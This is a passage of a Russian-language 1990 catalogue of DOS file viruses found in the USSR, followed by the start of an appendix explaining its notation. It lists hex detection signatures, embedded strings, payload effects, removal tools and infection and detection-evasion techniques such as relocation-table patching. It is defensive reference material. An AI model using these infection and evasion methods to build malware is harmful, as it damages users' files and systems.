│Ven│2│ │D │An Ba Cy Dm13 Ee Itc Jn K1 Li Mn Sc Za │Польша: 1988. │ Микро-88 │ │ │ │ │P │529 < LenC < MaxC │Штамм вируса С-648. При заражении программы│ Toothless Virus, │ │ │ │ │B │D681C60000FCB90300BF0001F3A48BFAB4 │изменяет ее дату с установкой месяца на 13 │ (Беззубый), │ │ │ │ │M1│F3 A4 8B FA B4 30 CD 21 3C 00 │(признак зараженности) В отличие от С-648 │ *# W13 │ │ │ │ │T1│????????COM │заражает файлы только в текущем и корневом │ │ │ │ │ │T2│Мicrosoftyright │каталогах. │ │ │ │ │ │T3│Microsoft 1988 │ │ │ │ │ │ │F │AV, -V, AIDSTEST │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ 600, │ RC-600 │Ier│1│ │D │An Ba Cy Dn Ee Ihc Jn K1 Li Mc Se │Днепропетровск, май 1990, А.Сесса. │ │ Пакость-2 │ │ │ │ │P │600 <LenC <+60000 & Atr != RH │Штамм RCE-529. Обработчик аномальных │ │ │ │ │ │ │H │21 │завершений содержит ошибку из-за которой │ │ │ │ │иногда выдаются сообщения Abort, │ │ │ │Часть тела вируса шифруется. │ │ │ │ │ │ │ │ │ │B │BE1001B932008A2480F4DD882446E2F6 Retry ... │ │ │T1│ctsqu │ │ │T2│I46+##* │ │ │F │-V, K32, NEATFAG │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ *# VHP2, │ С-623 │Ven│1│ │D │An Bn Cn Ds62 Ee Itc Jn K1 Li Sp │СССР, 1989, Лозинский Д.Н. │ VHP-623, │ │ │ │ │P │10 < LenC < MaxC │Штамм вируса С-648. Отличается наличием │ Vienna-623 │ │ │ │ │B │B42FCD21891C8C4402B82435CD21899C8F00 │обработки ненормальных окончаний. В │ (Вена-623) │ │ │ │ │T1│*.COM │"убиваемые" модули пишется вместо │ │ │ │ │ │T2│PATH= │перезагрузки переход по адресу C000:0000. │ │ │ │ │ │T3│????????COM │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ │ C-644 │Vn │1│ │D │An Bn Cn Dy Ee Itc Jn K1 Li Sc │СССР(Москва): Лозинский Д.Н. │ │ │ │ │ │ │P │10 < LenC < MaxC │Первые 20 минут каждого часа заражает │ │ │ │ │ │ │B │ │COM-файлы в текущем каталоге, при условии, │ │ │ │ │ │ │T1│*.COM │что он не является корневым. Портит время │ │ │ │ │ │T2│PATH= │создания файла │ │ │ │ │ │T3│????????COM │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ *$ Vienna-A │ С-648A │Ven│5│>│D │Arbk Ba Cy Ds Ee Itc Jn K1 Li Sс Zb │Австрия, апрель 1988. СССР: август 1988 │ (Вена-А), │ │ │ │ │P │10 < LenC < MaxC │Поражает примерно каждый восьмой заражаемый │ DOS-62 │ │ │ │ │M │8BFE81C71F008BDE81C61F00 Штамм A │файл, так что при его запуске инициируется │ (ДОС-62), │ │ │ │ │M │8BFE83C71F908BDE83C61F90 Штамм B │перезагрузка MS DOS. При поражении │ Rebooter │ │ │ │ │I │FC8BF281C60A00BF0001B90300F3A4 │COMMAND.COM или программы, входящей в │ (перезагрузчик),│ │ │ │ │+ │8BF2B430CD213C007503E9C701 │AUTOEXEC.BAT, происходит зацикливание на │ Time Bomb │ │ │ │ │J │51 ** ** ** FC 8B F2 81 C6 0A 00 BF 00 01 │перезагрузке MS DOS. Один из наиболее ранних│ (часовая мина),│ │ │ │ │T1│*.COM │и распространенных в Европе и СССР вирусов. │ UNESCO(ЮНЕСКО)│ │ │ │ │T2│PATH= │Имеются многочисленные штаммы. Пик эпидемии │ Wiener (Винер)│ │ │ │ │T3│????????COM │в СССР отмечен в начале 1989 года. │ │ │ │ │ │F │AIDSTEST, AV │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ IV-740 │ C-740 │IV │1│ │D │An Ba Cy Dn Ee Ihc Km Li Mn Sc │Многократно заражает программы │ │ │ │ │ │P │0 <LenC <+oo & Atr != RH │(см., также штаммы С-345 и С-847) │ │ │ │ │ │B │8EC0FE060501BE000133FFB9E400F3A4BAF4BAF401│ │ │ │ │ │ │T1│*.COM │ │ │ │ │ │ │F │AIDSTEST, AV │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ IV-847, │ C-847 │IV │1│ │D │An Babt Cy Dn Ee Ihc K1 Li Mn Sc │1988 │ *$ Amstrad Virus │ │ │ │ │P │0 <LenC <+oo & Atr != RH │Вместо исполнения зараженной программы │ (Амстрад) │ │ │ │ │M1│1F BA 4F 03 B9 FF FF B4 │часто выдается сообщение T2 (см., также │ │ │ │ │ │M2│72 02 EB 36 76 BA 80 00 B4 1A CD 21 80 │штаммы С-345 и С-740) На Западе известна │ │ │ │ │ │B │8EC0FE060501BE000133FFB94F01F3A4BAF4BA5F02│модификация, в которой вместо сообщения T2 │ │ │ │ │ │C │4ECD217260BA7D02B8023DCD21A31401 │выводится реклама компьютеров фирмы Amstrad │ │ │ │ │ │T1│*.COM │ │ │ │ │ │ │T2│Program sick error:Call doctor │ │ │ │ │ │ │+ │ or buy PIXEL for cure description │ │ │ │ │ │ │F │AIDSTEST, AV │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ Bebe (Бебе) │ C-1024 │ │1│ │D │Ab Bt Cy Dn Ee Itc K1 Li Mn Sc │СССР 1990 │ │ │ │ │ │ │B1│50 0E 8C C8 2E 01 06 0C 01 EA │Поражает файлы с расширением COM в текущем │ │ │ │ │ │B2│ │каталоге. Создает резидентную программу, │ │ │ │ │ │T1│╔════════ VIRUS ! ══════╗ │по адресу 0000:01CE-0000:03EB, которая через│ │ │ │ │ │T2│║ Skagi "bebe" > ║ │10 мин.после загрузки выводит на экран сооб-│ │ │ │ │ │T3│╚═══════════════════════╝ │щение T1-T3 и из-за ошибки зацикливается. │ │ │ │ │ │T4│Fig Tebe ! │Машину приходится перегружать кнопкой RESET │ │ │ │ │ │T5│*.COM │или выключением питания. │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-5, │RCE-1206 │TP │3│>│D │An Bh Cy Dn Es Itp-tp Jj K12 Li Se │Болгария: начало 1989. │ Vacsina-5 │ │ │ │ │P │1212 < LenCE < MaxC & FIRST='E9' │EXE-файлы заражаются в два этапа: cначала │ (Вакцина-5), │ │ │ │ │H │21 │увеличиваются на 132 байта, "переделываясь" │ * Vacsina │ │ │ │ │M1│17 26 C5 B5 00 01 83 C7 │из EXE в COM для системы (суффикс EXE не │ (Вакцина) │ │ │ │ │M2│B8 01 43 8E 5E 0E 8B 56 06 2E │меняется), а затем заражаясь как COM-файлы. │ │ │ │ │ │C │26A1C5003D7F39750826A0C7003C0573 │Поражаются файлы до 63К. Создает скрытый │ │ │ │ │ │T │VACSINA │файл на диске. │ │ │ │ │ │B │F47A05 │При заражении файла раздается звуковой сиг- │ │ │ │ │ │F │AIDSTEST,AV,-V,K32 │нал (BELL). │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-4, │RCE-1212 │TP │3│>│D │An Bmh Cy Dr Es Itp-tp Jj K12 Li Se │Болгария: начало 1989 (В.Бончев); │ Vacsina-4 │ │ │ │ │P │1212 < LenCE < MaxC & FIRST='E9' │СССР: весна 1989 (В.Котик). │ (Вакцина-4), │ │ │ │ │H │21 │Практически идентичен RCE-1805 (TP-5). │ * Vacsina │ │ │ │ │M1│17 26 C5 B5 00 01 83 C7 │Произвольно изменяет дату создания файла. │ │ │ │ │ │M2│B8 01 43 8E 5E 0E 8B 56 06 2E │Создает скрытый файл на диске │ │ │ │ │ │C │C5003D7F39750826A0C7003C0473328B │При заражении файла раздается звуковой сиг- │ │ │ │ │ │T │VACSINA │нал (BELL). │ │ │ │ │ │B │F47A04 │ │ │ │ │ │ │F │AIDSTEST,AV,-V,K32 │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ Merphy │RCE-1277 │ │3│<│D │An Bam Cy Dn Es Itc-tc Jn K11 Li Seo │CCCP (Киев), июнь 1990, А. Шеховцов │ │ │ │ │ │ │P │1277 <LenCE │Через некоторое время после того как вирус │ │ │ │ │ │ │H │21 │стал резидентным разрается неприятный высо- │ │ │ │ │ │ │J1│E9 7E 03 │частотный свист. Не заражает файлов с атри- │ │ │ │ │ │ │J2│1E E8 00 00 B8 59 4B CD 21 72 03 E9 28 01 │бутами READ ONLY │ │ │ │ │ │ │M │81 7C FE 2E 43 75 ED B8 02 3D │ │ │ │ │ │ │F │AIDSTEST,AV,-V,K32 │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-16, │RCE-1339 │TP │2│>│D │An Bn Cy Dn Es Itp-tp Jj K11 Li Se │Болгария: 1988 │ Vacsina-16 │ │ │ │ │P │1339 < LenCE < MaxC │В отличие от TP-5 EXE-файлы заражаются в │ (Вакцина-16), │ │ │ │ │H │21 │один прием, сохраняя идею "переделки" из EXE│ *$ Vacsina │ │ │ │ │M1│17 26 C5 B5 00 01 83 C7 │в COM. В отличие от RCE-1212 и RCE-1206 │ (Вакцина-16), │ │ │ │ │M2│B8 01 43 8E 5E 0E 8B 56 06 2E │файлы заражаются вне зависимости от значения│ *$ Vacsina │ │ │ │ │C │26A1C5003D7F39750826A0C7003C1073 │первого байта │ │ │ │ │ │T │VACSINA │ │ │ │ │ │ │B │F47A10 │ │ │ │ │ │ │F │AIDSTEST,AV,-V,K32 │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ 1600, │RCE-1600 │Ier│1│<│D │Cy Ihc-tc L1600 Se-eo │СССР (Воронеж): 12.06.90 А.Н.Мартемьянов │ │ Voronezh 2.01 │ │/ВП│ │ │P │1600 <LenC < 61000 │Распространялся на специально зараженном │ │ (Воронеж 2.01),│ │ │ │ │H │21 │AIDSTEST (троянская версия) отцом автора ви-│ │ Пакость-3 │ │ │ │ │T1│ctsqu`Voronezh,1990 2.01 │руса. Алгоритм заражения специально рассчи- │ │ │ │ │ │ │T2│EXEexeUv │тан на обход детектирования AIDSTEST: при │ │ │ │ │ │T3│![ZYS │заражении EXE-файлов для передачи управления│ │ │ │ │ │ │ │не корректирует точку входа в файл в заго- │ │ │ │ │ │ │ │ловке, а модифицирует Relocation table. │ │ │ │ │ │ │ │EXE-файлы заражает как при выполнении, так и│ │ │ │ │ │ │ │при открытии. │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ *$ Sunday │RCE-1636 │Ier│4│<│D │Ad Bt Cn Dn Ee Ihc-tmp Jn K11 L1631 P Se │США(Сиэтл), конец 1989. │ (Воскресенье) │ │!!!│ │ │P │1636 < LenCE │По воскресеньям стирает все запускаемые │ │ │ │ │ │H │21 │файлы. Возможно выдает на экран сообщение: │ │ │ │ │ │M1│C8 F7 E1 EE E7 00 01 │"Today is Sunday, why do you work so hard?" │ │ │ │ │ │M2│75 10 07 2E 8E 16 45 00 2E 8B │ ... ... ... ... ... ... ... │ │ │ │ │ │ │ │ │ │С │CD2180FCFF731580FC047210B4DDBF │ │ │ │F │AIDSTEST, AV,-V │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ * Cascade │RC-1701 │Cas│5│>│D │An Bav Cy Dn Es Itc Jx K1 Li Mс Se Zbr │ФРГ(Университет Констансы) сентябрь 1988; │ (Каскад,сыпучка), │ │ │ │P │0 < LenC < 63800 │СССР: осень 1988 │ Falling letters│ │ │ │ │H │1C, 21, 28 │Осенью 1980 и 1988 г (Сент,Окт,Нояб.,Дек) │ (Буквопад, │ │ │ │ │I │FA8BECE800005B81EB31012EF6872A01017 │создает оригинальный эффект на CGA,EGA и VGA│ падающие буквы)│ │ │ │ │+ │40F8DB74D01BC820631343124464C75F8 │"опадание" букв с "вышибанием" нижестоящих, │ BlackJack │ │ │ │ │M │31 34 31 24 46 4C 77 F8 (* неудачна *) │сопровождаемое шорохом. Создает помехи при │ (Черный Джек), │ │ │ │ │С │0F8DB74D01BC820631343124464C75F8 │работе, поскольку на время опадания букв │ Herbst(laub) │ │ │ │ │J │01 FA 8B EC E8 00 00 5B 81 EB 31 01 2E │блокируется клавиатура. Полидетектор SCAN │ $ 1701 File virus│ │ │ │ │F │AIDSTEST, AV, DOCTOR, ANTI-KOT │дает много ложных срабатываний. │ Falling tears, │ │ │ │ │ │ │Пик эпидемии в СССР отмечен весной 1989 года│ Autumn leaves │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-24, │RCE-1760 │TP │2│>│D │An Bm By Cy Dn Es Itp-tp Jx K11 Li Se │Болгария: 1988. │ Музыкальная │ │ │ │ │P │256 < LenCE < MaxC │20-секундное звучание мелодии при попытке │ перезагрузка-24│ │ │ │ │H │1,9,21 │выполнить теплый рестарт (СTRL-ALT-DEL), │ *$ Vacsina │ │ │ │ │M │17 26 C5 B5 00 01 83 C7 │после звучания идет нормальная перезагрузка.│ │ │ │ │ │B │F47A18 │ │ │ │ │ │ │C │A000CD21B80125BA3505CD21BA65009C │ │ │ │ │ │ │F │AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ *$ Dark Avenger │RCE-1800 │DAv│5│>│D │As Bn Cy Dn Es Itc-tp Jn K11 Li Mhm Ser │Болгария, 1989; СССР: сентябрь 1989. │ (Черный │ │ │ │ │P │1774 < LenCE │Уничтожение сектора диска после каждых │ мститель), │ │ │ │ │H │13, 21,27 │16 инсталляций. Вирус заражает файлы │ Eddie (Эдди), │ │ │ │ │M │A1 4F 07 89 07 2E A1 51 │не только при выполнении, но и при чтении │ Diana │ │ │ │ │C1│75088B57085B53CD26585E33C08ED82E штамм 1 │или записи в файл. Поэтому запуск фага, или │ (Диана) │ │ │ │ │С2│7C0226A186002E89877E02B85AA5CD21 штамм 2 │ревизора, не контролирующего наличие вируса │ │ │ │ │ │T1│Eddie lives...somewhere in time! │в памяти приводит (на зараженной машине) │ │ │ │ │ │T2│Diana P. │к заражению всех проверяемых файлов │ │ │ │ │ │T3│This program was written in the city │ │ │ │ │ │ │+ │of Sofia (C) 1988-89 Dark Avenger │ │ │ │ │ │ │F │AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-25, │RCE-1805 │TP │4│>│D │An Bm By Cy Dn Es Itp-tp Jx K11 Li Se │см. TP-24 │ Музыкальная │ │ │ │ │P │256 < LenCE < MaxC │ │ перезагруз│ │ │ │ │H │1,9,21 │ │ ка-25, │ │ │ │ │M │35 CD 21 8B F3 8C C7 │ │ *$ Vacsina │ │ │ │ │B1│9C FA 2E FF 1E 14 00 C3 │ │ │ │ │ │ │B2│F4 7A 19 │ │ │ │ │ │ │J │E8 00 00 5B 2E 89 87 6D FC 2E FE 87 71 FC │ │ │ │ │ │ │C │2125BAA000CD21B80125BA6205CD21BA │ │ │ │ │ │ │F │TP48CLS, AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ * Jerusalem │RСE-1813 │Ier│5│>│D │Ad Bvs Cn Dn Ee Ihc-tmp Jn K1m L1808 Se │Израиль(Иерусалим): дек. 1987,Yisrael Radai;│ (Иерусалим), │ │ │ │ │+ │To Zoex │СССР: осень 1988. │ Black Fridaу │ │ │ │ │P │0 < LenCE < +oo │Уменьшение быстродействия, "зависание" DOS с│ (Черная │ │ │ │ │H │8,21 │сообщением Stack overflow; появление на │ пятница), │ │ │ │ │M │122EC7061F000100505156 штамм B │экране черного квадрата в левом углу. │ Israeli virus │ │ │ │ │M │E9920000000000000000000 штамм B-2 │уничтожение запускаемых программ по пятницам│ (Израильский │ │ │ │ │I │8ED0BC000750B8C50050CBFC062E8C0631 │приходящимся на 13 число. │ вирус), │ │ │ │ │+ │002E8C0639002E8C063D002E8C0641008CC0 │ Один из наиболее распространенных во всем│ Black Hole │ │ │ │ │J │FC B4 E0 CD 21 80 FC E0 73 16 80 FC 03 72 │мире вирусов (включая СССР). Пик эпидемии │ (Черная дыра) │ │ │ │ │T1│sUMsDos │в СССР отмечен весной и летом 1989 г. │ $Friday 13th │ │ │ │ │T2│COMMAND.COM │Имеются многочисленные штаммы. │ │ │ │ │ │F │AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ * Yankee Doodle-2│ E-1961 │ │1│ │D │Xm │Болгария, 1989; СССР: 1990 │ $ Yankee Doodle B│ │ │ │ │H │21 │При успешном заражении файла в текущем ката-│ │ │ │ │ │M │ │логе играется мелодия Yankee Doodle │ │ │ │ │ │C1│370881EE030103F38904BE390881EE03 штамм В1 │ │ │ │ │ │ │С2│E60681EE030103F38904BEE80681EE03 штамм В2 │ │ │ │ │ │ │T │mother fucker │ │ │ │ │ │ │F │AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ Anti Bontchev │RCE-02000│DAv│3│<│D │As By Cy Ds Es Itc-tс Jn K11 Li Mlhm Ser │Болгария: начало 1990. │ (АнтиБончев), │ │ │ │ │P │1959 < LenCE │Штамм RCE-1800. Уничтожает сектора │ * V2000, │ │ │ │ │H │ │диска после каждых 16 инсталляций. │ Диана-2 │ │ │ │ │B │E800005E81EE6300FC2EF69489072E81 │При выдаче команд DIR и т.п коррек│ │ │ │ │ │M │B4 51 E8 39 FD 8E C3 26 8B │тирует длину зараженных файлав (опре│ │ │ │ │ │C │F71FC40684002E898418082E8C841A08 │деляя их по значению 62 в поле секунд), │ │ │ │ │ │T1│Zopy me - I want to travel │вычитая из нее 2000. │ │ │ │ │ │T2│(c) 1989 by Vesselin Bontchev. │ │ │ │ │ │ │TC│Диана П. │ │ │ │ │ │ │F │AV, -V, AIDSTEST │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-34, │RCE-2568 │TP │3│>│D │An Bm Cy Dn Es Itp-tp Jn K11 Li Mmt Se │ см. TP-33 │ *$Yankey Doodlе │ │ │ │ │P │32 < LenCE │ │ (Янки Дудль) │ │ │ │ │H │1,3,1C,21 │ │ │ │ │ │ │B │F4 7A 22 │ │ │ │ │ │ │C │2125BAF402CD21B80125BAA707CD21BA │ │ │ │ │ │ │T │ "0505050505050505"h ((8)05h) │ │ │ │ │ │ │ │ │ │ │F │TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-33, │RCE-2680 │TP │3│>│D │An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se │При трассировке на зараженной ПЭВМ │ *$Yankey Doodlе │ │ │ │ │P │32 < LenCE │наблюдается эффект самоизлечения. │ (Янки Дудль) │ │ │ │ │H │1,3,1C,21 │В 17.00 исполняется мелодия Yankey Doodlе │ │ │ │ │ │B │F4 7A 21 │Dandy │ │ │ │ │ │C │25BA0403CD21B80125BA0D08CD21BAD1 │ │ │ │ │ │ │T │ "0505050505050505"h ((8)05h) │ │ │ │ │ │ │F │TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-38, │RCE-2756 │TP │3│>│D │An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se │Данная и последующие версии группы │ *$Yankey Doodlе │ │ │ │ │P │32 < LenCE │TP-вирусов не видны при просмотре │ (Янки Дудль) │ │ │ │ │H │1,3,1C,21 │списка резидентных программ. Выкусывает ви- │ │ │ │ │ │B │F4 7A 26 │рус RCE-1805 при заражении программ. │ │ │ │ │ │C │2125BA6403CD21B80125BA8A08CD21BA │ │ │ │ │ │ │T │ "0505050505050505"h ((8)05h) │ │ │ │ │ │ │F │TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-39, │RCE-2772 │TP │3│>│D │An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se │см. TP-38 │ *$Yankey Doodlе │ │ │ │ │P │32 < LenCE │ │ (Янки Дудль) │ │ │ │ │H │1,3,1C,21 │ │ │ │ │ │ │B │F4 7A 27 │ │ │ │ │ │ │C │ │ │ │ │ │ │ │T │ "0505050505050505"h ((8)05h) │ │ │ │ │ │ │F │TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-44, │RCE-2885 │TP │5│>│D │An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se │См. TP-41 │ Самоед-44, │ │ │ │ │P │32 < LenCE │Мелодия Yankey Doodlе Dandy проигрывается │ Five o'clock │ │ │ │ │H │1,3,1C,21 │в 17.00 не каждый раз, а с вероятностью 1/8 │ │ (17 часов), │ │ │ │ │B │F4 7A 2C │ │ *$Yankey Doodlе │ │ │ │ │T │ "0505050505050505"h ((8)05h) │ │ │ │ │ │ │J │E8 00 00 5B 81 EB D4 07 2E C6 87 5C 00 FF │ │ │ │ │ │ │C │0125BAF708CD21BA37029C8BC3052C09 │ │ │ │ │ │ │F │TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-45, │RCE-2901 │TP │3│>│D │An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se │см. TP-44 │ *$Yankey Doodlе │ │ │ │ │P │32 < LenCE │ │ (Янки Дудль) │ │ │ │ │H │1,3,1C,21 │ │ │ │ │ │ │B │F4 7A 2C │ │ │ │ │ │ │C │2125BAC803CD21B80125BAFF08CD21BA │ │ │ │ │ │ │T │ "0505050505050505"h ((8)05h) │ │ │ │ │ │ │F │TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-41, │RCE-2932 │TP │4│>│D │An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se │См. TP-39 │ *$Yankey Doodlе │ │ │ │ │P │32 < LenCE │ │ (Янки Дудль) │ │ │ │ │H │1,3,1C,21 │ │ │ │ │ │ │B │F4 7A 2C │ │ │ │ │ │ │C │0125BAF108CD21BA22029C8BC3052609 │ │ │ │ │ │ │T │ "0505050505050505"h ((8)05h) │ │ │ │ │ │ │F │TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │*#$ 4096 │RCE-04096│St │2│<│D │An Cp Dy Macfl To Zet │Израиль: январь 1990. ОЧЕНЬ ОПАСЕН !!! │ │ 4K, │ │!!!│ │ │DP│6K < LenC │Загружается в старшие адреса,"откусывая" 6K.│ │ 100 Years virus│ │ │ │ │H │s21 │В зараженных файлах к году создания добавле-│ │ Century virus, │ │ │ │ │M1│33 FF B9 D0 07 B8 20 07 F3 AB BE */│но 100 (команда DIR показывает две последние│ │ Frodo, │ │ │ │ │M2│FF 76 06 2E 8F 06 B3 12 */│цифры) и их длина возрастает на 4K, хотя при│ │ Hiding, │ │ │ │ │M3│F6 2E 8F 06 41 12 2E 8F 06 43 */│резидентном вирусе увеличение длины не видно│ │ IDF Virus, │ │ │ │ │B │81FC0001770233E48BE8E80000 │При заражении иногда не обновляет заголовок │ │ Stealth Virus │ │ │ │ │C │FE3A558BEC50817E0400C0730C2EA147 │файла, что вызывает сообщения MS DOS: │ │ │ │ │ │ │ │ │ ERROR in EXE File. │ │ │ │ │ │ │ │Меняет FAT,сращивая файлы (видно по CHKDSK/F│ │ │ │ │ │ │ │С 22 сентября 1990 при запуске любого │ │ │ │ │ │ │ │инфицированного файла компьютер зависает. │ │ │ │ │ │F │ CLEAN v66+ (СП 7-90) │Подробнее вирус описан ниже │ │ │ │ │ │ │ │ │ /* ?? /* ?? /* ?? ─────────────────┴─────────┴───┴─┴─┴──┴───────────────────────────────────────── ─┴────────────────────────────────────────────┘ ПРИЛОЖЕНИЕ 1 КЛАССИФИКАЦИОННАЯ ТАБЛИЦА ФАЙЛОВЫХ ВИРУСОВ, ОБНАРУЖЕННЫХ В CCCР В приводимой ниже таблице собраны сведения о файловых вирусах, обнаруженных в СССР по состоянию на 12.09.90. Ниже следуют замечания по ее структуре и организации: 1. В графе "Дескрипторы, сигнатуры и фаги для данного вируса" подграфа "Тип" содержит символ D для дескриптора, символ F для фага, символ M для сигнатуры, используемой полидетектором SCAN (фирма McAfee Associates, США), символ I для сигнатуры, используемой полидетектором VIRSCAN (фирма IBM), символ B для сигнатур, предлагаемых автором в случаях, когда M или I сигнатуры неудачны. Cимволом + обозначено продолжение длинных Iсигнатур. Для ТР-вирусов В-сигнатура получена путем дописывания шестнадцатиричного номера штамма к строке F47A. 2. В дескрипторе файлового вируса отражены следующие свойства: A - деструктивные действия, выполняемые вирусом: a (alter) - модификация управляющих блоков файлов (переименование, внесение изменений в элемент каталога, или соответствующую цепочку FAT, создание вместо файла подкаталога и т.д.) или бутсектора; b (block) - блокирует выполнение запускаемой программы или команды MS DOS; c (corrupt) - повреждает или искажает файлы данных; d (delete) - удаляет отдельные загрузочные файлы; f (format) - выполняет форматирование дисков; i (ignore) - заменяет операции записи на операции чтения или верификации; h (hang) - "подвешивает" систему; k (kill) - повреждает отдельные загрузочные файлы; р (parallel port) - искажает информацию передаваемую через параллельный порт; r (reboot) - вызывает внезапную перезагрузку системы; s (sector destruction) - уничтожает отдельные сектора диска; v (video effects) - искажает информацию в видеопамяти; w (write port) - пишет в порты; x - создает сбойные сектора; z (zip) - стирает информацию в файлах или на диске, а также в управляющих таблицах, например в таблице FAT; В - проявления вируса; a (abort) - появление запроса Abort, Retry, Ignore при попытке заразить программу, расположенную на защищенной от записи дискете: n (new files) - создает новые файлы; m (music) - исполняет мелодию или имеет какой-либо другой звуковой эффект; v (video effects) - создает визуальный эффект(ы); t (text message) - выдает на экран текстовые сообщения; s (slow down) - замедление работы компьютера; С - механизм заражения командного процессора: y - заражает файл с именем COMMAND.COM; n - не заражает файл с именем COMMAND.COM; о - заражает командный процессор не меняя его длины; s - заражает командный процессор, независимо от его имени (например, используя информацию из системной переменной COMSPEC); D - изменение даты и времени создания файла: i - изменяет дату на дату заражения; m - изменяет месяц в дате создания файла; s - изменяет только значение секунд времени создания файла; s<целое> - изменяет значение секунд времени создания файла на указанное; r - изменяет дату и время случайным образом; n - не изменяет дату и время; E - способ определения типа файла: e - (extention) - по расширению; s - (start of program) по содержимому первых двух байтов (EXE-файлы начинаются с шестнадцатиричного кода 4D5A т.е. символов MZ); I - (type of increment and placement of virus body in infected program) приращение длины файла при заражении: место и тип имплантации вируса ( для вирусов типа CE соответствующие пары разделяются черточкой) первая буква пары - тип имплантации: o - (overwriting) - перезапись начала файла f - (first block) - запись в первый блок файла с перемещением оригинального первого блока в конец; h - (head) - запись тела в начало файла со смещением всей заражаемой программы в область старших адресов; m - (middle) - в середину файла; t - (tail) - в конец файла; b - (biplacement) - двухсегментное размещение (в голову и хвост) с перенесением начальных байтов в второй сегмент; c - (COM-twin) - создание COM-файла с тем же именем, что и заражаемый EXE-файл; х - неизвестна; вторая буква пары - тип приращения: с - постоянное; p - (padding) изменяется из-за выравнивания на определенную границу (по умолчанию границу параграфа). Если выравнивание идет на границу, отличную от кратной 16 указывается соответствующее исловое значение, например p51 означает выравнивание до величины, кратной 16; v - меняется случайным образом в определенных пределах; n - отсутствует; х - неизвестна; J - обработка первой команды в СОМ-файлах; n - не обрабатывает; j - заражает только те COM-файлы, в которых первой командой является команда JMP; s - не заражает такие файлы, первой командой которых является команда JMP; К - кратность заражения файла: <целое число> - заражает файлы указанное число раз; m - заражает файлы многократно (для вирусов типа CE первая цифра указывает кратность заражения COM-файлов, 